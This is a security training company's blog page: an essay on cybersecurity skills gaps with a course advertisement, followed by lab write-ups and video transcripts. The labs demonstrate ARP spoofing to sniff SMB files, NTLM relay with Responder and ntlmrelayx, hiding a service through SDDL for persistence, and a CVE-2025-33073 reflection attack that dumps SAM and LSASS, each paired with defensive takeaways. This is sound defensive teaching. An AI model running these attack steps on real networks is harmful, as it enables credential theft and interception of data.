In 2026, organizations will not be just short of cybersecurity professionals – they will be short of professionals with the right skills.
From the aforementioned global workforce research, in 2025 one trend is unmistakably clear: while cybersecurity workforce shortages continue to exist, the nature of the problem has fundamentally shifted. Organizations are no longer struggling solely to fill open positions – they are struggling to ensure that their teams can operate effectively in a rapidly evolving threat landscape. The research shows that nearly 60% of organizations report critical or significant cybersecurity skills shortages, while over 90% identify at least one key skills gap within their security teams. Importantly, many organizations acknowledge that filling open roles alone does not eliminate operational risk, as newly hired professionals often require substantial upskilling before they can function effectively in modern security environments.
This is truly a significant issue. To defend current threats we need to understand each other more than ever. How can we do that, as we keep using language that we may not always understand or even worse – speak through different definitions of concepts in cybersecurity.
Let me share with you common example that almost on a weekly basis I happen to encounter: we all speak about testing LLM models. Do we really know how to approach this and what is the expected outcome?
In my opinion, the implications of this skills gap extend far beyond staffing challenges. This is, in fact, huge operational risk that will hit us from behind if we do not address it today.
Crucially, IBM’s analysis (IBM: Cost of a Data Breach Report 2025) demonstrates that organizations experiencing significant cybersecurity skills shortages incur markedly higher breach costs, often millions of dollars more per incident than organizations with mature, well-trained security teams. This establishes a direct and measurable link between skills gaps and financial exposure, confirming that workforce capability is not a soft issue, but a core risk factor.
Broader breach investigations conducted at CQURE in 2025 reinforce this conclusion. Across sectors, human-driven factors – including misconfigurations, phishing attacks, and credential misuse – continue to rank among the most common root causes of security incidents. These findings highlight a critical reality: effective cybersecurity defense depends not only on advanced technology, but on people who can correctly interpret signals, understand modern attack patterns, and act decisively under pressure.
Taken together, the evidence points to a clear conclusion:
When organizations lack professionals who speak the language of modern cybersecurity, the cost is paid repeatedly – in financial loss, operational disruption, reputational damage, and erosion of strategic trust in partnerships.
From One Discipline to Many: Why Cybersecurity Became So Hard to “Speak”
Cybersecurity didn’t suddenly become complex – it accumulated complexity over time.
In 2025, a single security role may be expected to understand:
– Cloud-native infrastructure and misconfiguration risk
– Identity and access management across hybrid environments
– AI-assisted attacks and AI governance risks
– DevSecOps pipelines and software supply-chain threats
– Detection engineering, threat hunting, and automation
– Regulatory obligations such as NIS2, DORA, or sector-specific frameworks
Each of these areas evolves independently – often faster than traditional education, certification, or hiring models can keep up. What was once a linear career path has become a multidimensional challenge requiring constant recalibration.
Conclusions are direct and clear:
– Skills shortages are now considered a larger risk than headcount shortages
– Nearly all organizations report missing critical, modern cybersecurity capabilities
– The gap is no longer “how many people we have” – but whether they understand today’s threat language
This explains a reality many CISOs quietly acknowledge: Teams are staffed, but not fully fluent. Sounds familiar?
The Modern Reality: Complexity Meets Scarcity
Research from (ISC)² estimates the global cybersecurity workforce gap may exceed ~4–4.8 million unfilled roles in 2025, even as hiring budgets compress and economic pressures rise.
This gap isn’t just numerical – it’s semantic and cognitive. Roles today require fluency across multiple domains (e.g., cloud security, identity management, AI governance, incident response automation, threat intel pipelines, DevSecOps integration). Many professionals struggle to keep pace with emerging attack surfaces (like Shadow AI) and the complex defensive measures needed to counter them.
As a result, organizations increasingly find themselves in a paradoxical situation: security teams exist, tools are deployed, but understanding is fragmented.
Why the Market Cannot Simply “Hire Its Way Out” of the Problem
The natural reaction to skills shortages is hiring. In cybersecurity, this approach is no longer sufficient.
1. Talent Is Scarce – and Competition Is Global
In 2025, millions of cybersecurity roles remain unfilled worldwide. Even when budgets exist, organizations compete for the same limited pool of specialists – often losing them to global players, consultancies, or vendors.
2. Experience ≠ Currency
Years in cybersecurity do not automatically translate into readiness for:
– Cloud identity attacks
– AI-enabled social engineering
– Modern breach response workflows
– Detection-driven security operations
Without continuous upskilling, even strong professionals fall behind.
3. Budget Pressure Limits External Hiring
Economic uncertainty and cost optimization mean many organizations cannot endlessly expand security teams. Instead, they must extract more value – and more capability – from the people they already have.
This is why internal development is no longer “nice to have.” It is the only scalable option.
When Teams Don’t Speak the Language, Costs Skyrocket
The business consequences of this linguistic divide are measurable and severe.
According to IBM’s 2025 Cost of a Data Breach Report, the global average cost of a data breach in 2025 reached USD 4.44 million. While this represents a modest decrease from previous record highs, it remains a substantial financial burden for organizations of all sizes. In the United States, breach costs escalated further, reaching an average of USD 10.22 million per incident – the highest level recorded to date. With the current trend, this is likely to worsen, as we step into a fake sense of security in a smaller or bigger scale. Critically, breaches in organizations with significant security skills shortages cost much more (often millions higher) than in organizations with better-resourced security teams – a direct indicator that talent and skills gaps translate into financial risk.
Data from wider industry analyses also show that human factors – including misconfigurations and phishing – remain major drivers of incidents, underscoring that both technical and human language fluency matters in defense.
The takeaway? When your team can’t understand and respond to modern attack vectors or technologies, your organization pays – in dollars, disruption, reputation, and strategic trust.
Training From Within: The Only Way Forward
If cybersecurity has a language, organizations must do two things:
1. Invest in Internal Skill Development
Training current staff – rather than just relying on external hiring – is now a strategic imperative.
Structured, continuous learning programs help teams stay current with evolving domains such as cloud security, threat intelligence frameworks, identity-first security, and AI risk governance. Skills development isn’t a one-off event: it’s an ongoing commitment that must evolve as fast as the threats themselves. An organization’s capacity to learn often becomes the differentiator between resilience and vulnerability.
2. Ensure Fluency in the Latest Cybersecurity Concepts
Today’s security professionals must be literate not only in technical tools but in the language of current threats and defenses. This includes:
– AI-driven attacks and adversarial models
– Cloud and hybrid infrastructure risk models
– Secure software development lifecycles (DevSecOps)
– Identity-driven access and zero-trust frameworks
– Incident response automation and orchestration
Organizations that don’t cultivate this fluency internally are left with teams that can maintain legacy controls but cannot lead strategic defense.
Conclusion: Reclaiming the Language of Cybersecurity
Cybersecurity didn’t become complex because we wanted it to; it evolved because threats, technologies, and enterprises became more capable – and more vulnerable.
The reality in 2026 is undeniable:
– Cyber risks remain massive and growing – measured in trillions of dollars annually
– Breach costs remain multi-million dollar events with substantial operational fallout
– Skills gaps and talent shortages are fundamental risk multipliers
The solution isn’t just more hiring – it’s training, fluency, and lifelong learning within the organization.
To secure the digital enterprise of today and tomorrow, organizations must embrace internal talent development as a strategic defense, and ensure that their teams speak the language of modern cybersecurity – not yesterday’s vocabulary.
Cybersecurity didn’t lose its language by accident. The question is whether organizations are willing to relearn it – together.
Thank you for your time and reading this article! We would like to thank you by giving you a 25% Discount Code: 25DISCOUNT, to be used at the checkout for a training program that addresses that skills gap. Coupons can’t be applied to products already on sale. Valid until February 28, 2026.
Why the Cybersecurity Master Annual Program from CQURE Exists and how to address this gap?
We have done our homework to respond to the shifting market and we have created a fully customizable up to a year-long program that allows us to address the skills and language gap. We have called it Cybersecurity Master Annual Program, where you can attend 16 important classes throughout the year or pick ones that fit you and your Team.
This exact industry problem is why the Cybersecurity Master Annual Program (CMAP) was created by CQURE. CMAP was not designed as a single course. It was designed as a living program that evolves with the cybersecurity landscape. CMAP is not a single course. It is a living program that evolves with the cybersecurity landscape.
How CMAP Directly Addresses the Skills & Language Gap
Let me explain it, but first check out information about our training here: LINK and in case of questions reach out to us at: training@cqureacademy.com.
1. Continuous Learning Instead of One-Time Training
CMAP runs throughout the year, ensuring participants stay aligned with:
– Current attack techniques
– Evolving defensive strategies
– Real-world incident response practices
– Emerging technologies and regulations
This directly reflects how cybersecurity actually changes – continuously.
2. A Unified Cybersecurity Language
Rather than teaching isolated silos, CMAP connects:
– Identity, cloud, endpoints, and detection
– Offensive and defensive perspectives
– Strategy, operations, and execution
Participants don’t just “know more” – they think in modern cybersecurity terms.
3. Built for Working Professionals
The program is designed for professionals who:
– Cannot step away from work for long periods
– Need practical, applicable knowledge
– Want depth without losing strategic perspective
This makes CMAP ideal for internal talent development inside organizations.
Accessible by Design: Subscription & Financing Options
Recognizing that budgets and personal situations differ, CMAP offers:
– Multiple subscription models
– Flexible payment options
– Financing possibilities for those who cannot pay the full amount upfront
This ensures that access to modern cybersecurity education is not limited by cash-flow timing.
Our test environment was configured for maximum network security, with both the server (SRV01) and the client (WIN11-01) explicitly set to support and require SMB signing.
The Attacker: We used a Kali Linux machine to act as the attacker and intermediary.
The Attack: We launched a bi-directional ARP Spoofing attack (Man-in-the-Middle) to intercept all traffic flowing between the client and the server.
The Capture: Wireshark was launched on the attacker’s machine to capture the SMB2 traffic.
The Test: From the client system, we accessed a file share (\\SRV01\CertEnroll) and created a new file with the content: “SMB signing test”.
The Critical Finding
Despite having SMB signing enforced on both endpoints, our packet capture yielded a critical, visible finding: the entire contents of the file, “SMB signing test,” were successfully captured and clearly readable in the Wireshark packets.
The conclusion is clear: SMB signing does not protect data from a passive traffic sniffer in a man-in-the-middle scenario.
The Security Takeaway: Signature ≠ Encryption
The reason for this failure is simple: A signature is not the same as encryption.
SMB Signing is a mechanism that prevents session spoofing and relay attacks by verifying the identity and integrity of the data sender. It ensures that the traffic hasn’t been tampered with in transit.
SMB Encryption is a distinct mechanism that scrambles the data, rendering it unreadable to anyone without the decryption key.
While SMB signing is vital for protecting the integrity of the communication, it does not automatically encrypt the data being transferred. As a result, an attacker who successfully performs an ARP spoofing attack can still read the unencrypted SMB traffic.For true confidentiality and to protect your data from passive snooping, SMB encryption must also be implemented alongside SMB signing.
Hi and welcome back to another episode of CQURE Hacks.
Today we will observe how packet sniffing behaves when SMB signing is enabled.
We begin in Kali Linux, the attacker’s machine.
The first step is to enable IP forwarding using the echo 1 command,
and that allows Kali to act as an intermediary for network traffic.
Next, we ensure the necessary tools are installed by checking for that dsniff package.
And with dsniff confirmed our environment is ready, we move to our target systems.
On the 1st system, SRV01 (at 10.10.10.20), we check the SMB configuration.
The settings confirm that the system supports and requires SMB signing.
We perform the same check on the client system, WIN11-01 (at 10.10.10.40).
From the client side we see it also supports and requires signing.
The connection we will test will run from the client, so .40 to the server .20.
Now we’ll launch the attack from our Kali machine.
We execute the ARP Spoofing attack.
The goal is to make the Kali host the intermediary.
The traffic flowing from host .40 to host .20 will be intercepted by Kali.
We poison the ERP cache in both directions, telling host .40 we are host .20 and telling host .20 we are host 40.
This establishes a bi-directional Man-in-the-Middle attack.
Next, we launch Wireshark to capture the traffic passing through our machine.
We’ll begin to capture on our active network interface and apply a display filter for SMB2 traffic.
On the Windows client, so .40 we initiate that file access by navigating to the server share and that is \SRV01\CertEnroll.
We then create a new text file and input the content:
SMB signing test.
We return to Kali. As we confirmed signing was enabled on both the server and the client.
Now we search the captured packets in Wireshark for the content we just wrote.
We search that packet bytes for the word signing.
The critical finding is visible.
We successfully capture the entire content of the file.
SMB signing test.
This demonstrates that signing does not protect against man in the middle attacks.
The reason is super simple.
A signature is not the same as encryption.
How good is the signature if a communication is not encrypted while the attacker can still read the unencrypted SMB traffic after performing an ARP spoofing attack?
While SMB signing prevents session spoofing and relay attacks, it does not automatically encrypt data being transferred.
Signing and encryption are two distinct mechanisms.
For true confidentiality, SMB encryption must also be implemented.
SMB signing does not provide encryption and fails to protect data from a passive traffic sniffer in a man in the middle scenario.
Thank you so much for watching our Secure Hacks episodes.
And as always, in order to continue this serial, please don’t forget to support us by hitting the subscribe button.
We begin on the Domain Controller, where the Group Policy setting “Network security: Restrict NTLM: NTLM authentication in this domain” is initially set to Disabled. This allows NTLM-based authentication to proceed – opening the door for potential relay attacks.
On the attacker machine (running Kali Linux), the Responder and Impacket’s ntlmrelayx tools are launched. Once a network authentication attempt is triggered, the attacker successfully relays the NTLM authentication to another host, gaining access as CQURE\Administrator. From there, the attacker can enumerate hosts, check privileges, and simulate further connections — all using the relayed credentials.
Next, we tighten security by switching the Group Policy to “Deny All”, effectively disabling NTLM across the domain. When the same attack sequence is repeated, the relay attempt fails — the target returns “status not supported.” Authentication now requires Kerberos, which is not vulnerable to NTLM relay in the same way.
This demonstration clearly shows the real-world impact of disabling NTLM: the attack surface for NTLM relay disappears.
However, phasing out NTLM completely requires careful planning, monitoring, and identification of systems or applications that still depend on it.
And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!
Hi and welcome back to another episode of CQURE Hacks.
In this video, I’m going to demonstrate how NTLM relay attacks work and what happens when NTLM is disabled.
We start on the domain controller, checking the Group Policy. We look at the setting: Network Security → Restrict NTLM: NTLM authentication in this domain.
As you can see, it is currently set to Disabled.
Now on our attacker machine (Kali Linux), we will launch the tools. First, we start Responder. Next, in a second window, we set up the NTLM relay with the Impacket ntlmrelayx tool.
The tool initializes its servers and is ready for the attack.
Now we’re going to run \\test\123 just to trigger it. There we go — back on Kali.
We immediately see the relay succeed. The tool reports a connection and authenticates to the target as CQURE\Administrator. That credential can be used for further actions.
Now that we have it, let’s try the connection. As you can see, we have 11001, and we can pull full details about the hosts listed. That lets us see what privileges we currently have while leveraging this attack.
In this context, we can also simulate connections to those hosts.
Now, whenever we get in here — as you can see, many poisoned responses — those are expected in verbose mode.
Next, we return to the domain controller and enforce a much stricter policy. We change Restrict NTLM — NTLM authentication in this domain — from Disabled to Deny All. Then NTLM version 2 will no longer be in place.
Let’s quickly apply the policy, then test whether these attacks still work so you can see the real-world effect.
On Kali, we restart our attack. First, Responder is relaunched, and then the ntlmrelayx tool is started again — ready to catch and relay authentication attempts under the new policy.
We are waiting for these authentications to happen so that we can grab that response. Yep, we can do the same part — \\test\12345, whatever.
We capture the authentication attempt, but the initial authentication to the target fails.
So, at this point, we no longer have the ability to authenticate using NTLM.
If we try to test with SMB netexec using the captured credential (for example, supplying the captured password), the attempt fails — the target returns “status not supported.”
But if we check it with Kerberos, as you can see, we’ve got the possibility to get in.
So, at the end, it really depends on how we are doing this spray — how that activity is processed.
And in the end, you’ve got the possibility to compare what it means to have NTLM disabled or not.
Ultimately, this deprecation is about gathering information on which sources, applications, and services still rely solely on NTLM version 2. That’s the key issue.
Basically, we can add exceptions, and those are applied directly within the policy.
And just for reference — this was a quick introduction because many people are concerned about one key question: How do we actually phase out NTLMv2?
As you can see, the process is fairly simple — but of course, don’t forget the monitoring component. That’s crucial once you apply it in the field.
All right, if you’re interested in this topic and want to dive deeper, our team has prepared a dedicated document: NTLM Phase Out – Guiding Active Directory Environments.
You’ll find the link in the description, and I definitely encourage you to check it out.
Thank you so much for watching CQURE Hacks. Hopefully, you enjoyed the content!
Don’t forget to subscribe to our channel and follow what we do on social media.
Kali Linux – the attacker’s machine (10.10.10.106)
On Kali, we enable packet forwarding and run the arpspoof tool to trick both the client and the domain controller into believing that Kali is the other host. This successfully poisons the ARP cache, redirecting their communication through our machine.
Sniffing ICMP Traffic
With ARP spoofing active, we capture traffic in Wireshark. When the Windows client pings the domain controller, we clearly see ICMP packets routed through Kali – confirming the attack worked.
Sniffing SMB Traffic
Next, we look at SMB2 traffic. When the Windows client connects to the domain controller and creates a file (e.g., Secret.txt containing SomePassword123), the traffic is transparently routed through the Kali machine due to the ARP-spoofing attack. As a result, the unencrypted SMB data can be captured in Wireshark, allowing the file and its contents to be intercepted and saved. Not only can we view it in real time, but we can also export the file directly from Wireshark and save it locally.
Key Takeaway
This demo shows how ARP spoofing combined with unencrypted SMB traffic can expose sensitive information. Even if no passwords are typed directly, files containing credentials or other secrets can be silently intercepted.
The lesson: Always secure your protocols. Use SMB encryption, network segmentation, and proper monitoring to prevent these types of attacks.
And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!
Hi and welcome back to another episode of CQURE Hacks. Let’s dive into a new video.
Here we have a domain controller, let’s check. We use host name and it’s DC01 then IP config. The address is 10.10.10.10.
Next the Windows workstation host name and then we see it’s Windows 11 client 01. ipconfig shows the address 10.10.10.40.
Finally, the Kali Linux machine: ifconfig – the address is 10.10.10.106.
But first, we need to prepare it by switching to root with sudo -s. For the ARP config attack to work we need to enable packet forwarding and we do this with the command:
echo 1 > /proc/sys/net/ipv4/ip_forward
We also need the dsniff package, but it’s already installed here.
We know that DC01 has the address 10.10.10.10 and the Windows client has 10.10.10.40 so we can use the arpspoof tool from the dsniff package. We specify the eth0 interface, and the command is:
arpspoof -i eth0 -t [Domain controller's IP address] -r [client's IP address]
The -r option means that we act in both directions. The domain controller thinks we are the client and the client thinks we are the domain controller.
Now we see ARP replies where both IPs 10.10.10.10 and 10.10.10.40 are mapped to the same MAC address ending with 61:18:ae. That’s the MAC of our Kali machine.
On Windows, we can check with arp -a. The MAC 61:18:ae is assigned to both Kali and DC01, which confirms that ARP spoofing is active.
Let’s start Wireshark on Kali Linux. Wireshark is a packet analyzer. It can analyse traffic similar to tools like TCP dump. It also allows capturing network traffic.
We see available interfaces eth0 and any which captures all. We select eth0 and start listening. In the display filter we type ICMP.
On the Windows client, we run: ping DC01. We can see the ping is working. The traffic goes from 10.10.10.40 to 10.10.10.10, and then replies from 10.10.10.10 back to 10.10.10.40.
In Wireshark we see ICMP traffic, echo request and echo reply. If we check the Ethernet source field, we see the replies are coming from MAC 61:18:ae – our Kali machine. That proves the ARP spoofing attack was successful.
Next we change the Wireshark display filter from ICMP to SMB 2. Now we see SMB 2 traffic.
On the Windows client we open File Explorer and connect to \\dc01. That’s of course the domain controller. We see the NETLOGON folder.
Let’s create a file there named Secret.txt with the content: SomePassword123.
Back in Wireshark we can use the search function. So for that press Control + F. Choose the display filter and set it to string. In the packet list switch to packet bytes. Now type what we want to search for.
For example: “some”. Click find. We can see the captured file Secret.txt with the content: SomePassword123.
This shows that with an ARP spoofing attack, if SMB is not encrypted, we can read transmitted content – including files that may contain passwords.
At this point we can stop Wireshark to avoid capturing more packets. Now, let’s go to File → Export Objects. Choose the SMB protocol. Here we see our file Secret.txt. We select it and click Save.
We can now save this file to the desktop as Secret.txt. The file is saved on our desktop.
On the desktop we have Secret.txt with exactly the same content we created on the server.
This demonstrates that with ARP spoofing and unencrypted SMB, we can intercept files being transferred, including sensitive ones like password files.
Let’s learn how to hide and uncover a service. This is a very important technique for post-incident investigation, as manipulating a service’s security descriptor can be a powerful method for persistence.
There’s no direct mechanism to hide a service in Windows, but we can manipulate the Security Descriptor Definition Language (SDDL).
We can do this using the built-in sc command. For example, if we run:
sc sdshow <service-name>
That gives us the current SDDL string, which we analyze when investigating persistence.
Of course, this isn’t the only method for service persistence, but it’s one of the most important to understand.
Demonstration: CQService
We’ll be working with a service called CQService.
If you open services.msc and refresh, you’ll see that CQService is running. It uses CQGoodservice.exe located in the C:\Tools folder.
The service name and display name are the same: CQService.
Now, if we apply a modified SDDL string using:
sc sdset CQService <new-descriptor>
…you’ll notice the service disappears from the list. Pressing F5 to refresh confirms this.
Why is it gone?
We’ve changed the service’s security descriptor to deny visibility or access through certain interfaces.
Understanding the SDDL Structure
In the SDDL string, there are multiple sections. The two most important are:
DACL (Discretionary Access Control List)
SACL (System Access Control List)
We’re focused on the DACL here.
D: means deny
A: means allow
For example:
IU = Interactive User (users logged in interactively)
BA = Built-in Administrators
SU = Service logon user
There are specific permissions encoded as well:
DC = Delete Child
LC = Query Status (ability to ask SCM for service status)
RP = Start service
WP = Stop service
DT = Pause/Continue service
SD = Delete service
So, by denying these permissions to users like IU, we effectively hide the service from standard queries.
What Happens with PowerShell?
Try:
Get-Service
The CQService doesn’t appear.
Try:
Get-Service -Name “CQService”
It returns an error: the service isn’t found. But this is misleading—it is still there.
To confirm:
Set-Service -Name “CQService” -Status Stopped
Suddenly, the system finds it.
Why? Because different APIs respond differently based on permissions and visibility.
Finding Hidden Services
Now let’s use Autoruns.
I ran Autoruns before modifying the SDDL. Under the Services tab, you can still see CQService and its executable.
If we rescan, Autoruns still detects the service. Why?
Because Autoruns reads the registry, not the SCM API. That’s why it still finds the service, even when it’s hidden from other tools.
To go a step further, you could restrict registry permissions as well—but that’s another layer of persistence, and a separate configuration.
Unhiding the Service
To reverse the hiding, simply replace the SDDL with a generic or default one—maybe from another service.
After setting a valid descriptor and refreshing the view, CQService reappears.
Try:
Get-Service -Name “CQService”
Now you see it listed again.
You can also inspect its details: the executable is still there, and the service is fully functional.
Advanced Techniques
There is also a way to hide a process in Windows using DKOM (Direct Kernel Object Modification). But this requires deeper access at the kernel level and often involves rootkits.
That’s a more advanced topic, and something we could cover in further CQURE Hacks video. Let us know if you’re interested.
And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!
As you’ve seen, auditing the security descriptors of services is essential after an incident. You need to check who has the ability to start and stop services on any impacted host.
The SC command is a powerful built-in tool for this kind of quick analysis.
And remember, SDDL is the language used to define permissions for many object types in Windows—not just services, but also files, folders, registry keys, Active Directory objects, certificate templates, and even event logs.
There are many creative and powerful uses for SDDL in cybersecurity.
I hope this video helped you understand how service hiding works, how to detect it, and how to investigate and respond to these kinds of persistence mechanisms.
The threat is real – legitimate users can engineer malicious programs that deceive target systems into establishing authentication with a fake SMB server. This exploitation method delivers maximum system authority to attackers, granting them comprehensive dominance over the infiltrated machine.
So, let’s see how granting this access looks like in practice.
Before attempting exploitation, two conditions must be verified:
The target machine must have SMB signing disabled. This configuration weakness permits authentication relay attacks through the SMB protocol.
COERCER Vulnerability: The target system must be susceptible to authentication coercion techniques, which force the machine to initiate authentication requests to attacker-controlled servers.
Attempt 1: exploitation without adding DNS record
In this approach, we run the relay on this machine. Afterwards, we run PetitPotam and direct it to ourselves.
Result? PetitPotam worked, but the machine couldn’t authenticate without the mentioned DNS record.
Attempt 2: using a dedicated DNS record
We’re adding the DNS record to the IP address of the domain controller, and indicating it to our machine. Now, let’s also put add in the place of remove.
With these conditions, the operation is completed successfully.
Attempt 3: using the indication of the added DNS record
After re-running the ntlmrelay again, we change our IP address by the DNS record.
And just like that, we succeeded, and our machine is relayed to itself. We dumped SAM successfully.
Attempt 4: skipping the DNS record
First, we start with turning off the relay, clearing it and adding one more terminal.
We delete the previously added DNS record to avoid conflict, and now we can run the Responder with LLMNR poisoning. The Responder should have it turned on by default.
Second, we can run the impacket-ntmlmrelayx and use netexec with the coerce_plus module to exploit the printerbugPrinterBug vulnerability with this DNS indication.
You’ll see that tt doesn’t exist, but LLMNR poisoning helps us to identify our attacker’s machine.
After using it, the effect would be the same if we hadn’t added the DNS record.
At this stage, we have obtained the hash of the local admin, so we can authenticate locally.
Now, if we use module LSA from netexec, we can dump the LSSAS.
Conclusion
CVE-2025-33073 exemplifies how legacy authentication protocols can be exploited through protocol manipulation techniques. The vulnerability’s severity stems from its ability to transform limited network access into complete system compromise. Organizations must prioritize SMB hardening and authentication modernization to defend against these sophisticated reflection attacks.
And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!
OK guys, let’s start by enumerating the machine that we want to attack.
First of all, we have to check if the SMB signing is off.
This allows us to relay via SMB. Next, the machine must be vulnerable to coerce.
That’s going to be the attack component. Now I’ll show you that without a special DNS record, this attack won’t work.
But let’s try it anyway. We run the relay on this machine and then we run PetitPotam and direct it to ourselves. As we can see, PetitPotam worked, but a machine couldn’t authenticate without the mentioned DNS record. OK, so let’s add this DNS record and it looks like this. Here you have the IP address of the domain controller. I’m adding the DNS record and indicating it to our machine.
Let me show you the IP that’s actually our machine. So let’s also change, remove with add. OK, the operation is completed successfully. Let’s try to launch the attack again, but this time by using the indication of added DNS record.
We rerun the NTLM relay. Next we change our IP address by DNS record. As you can see, we succeeded and our machine is relayed to itself. We dumped SAM successfully.
Now I will show you the second way. We won’t add the DNS record this time. OK, so let’s turn off the relay, clear it here and add one more terminal.
Let’s put it here.
First of all, we must delete this DNS record to avoid the conflict and make sure that everything gets just like starting from the scratch. Now we can run the responder with LLMNR poisoning. The responder should have it turned on by default, as you can see it’s on. Next we can run impacket-ntlmrelayx and this time we will use netexec with the coerce_plus module and exploit the PrinterBug vulnerability with this DNS indication.
As we can see, the effect will be the same if we hadn’t added the DNS record. OK, so let’s see what we can do now. We have the hash of the local admin and type admin here with his hash and as a local user so we can authenticate locally. We can use the module LSA from netexec.
And as we can see, we’ve got a little bit more information at our disposal.
Login
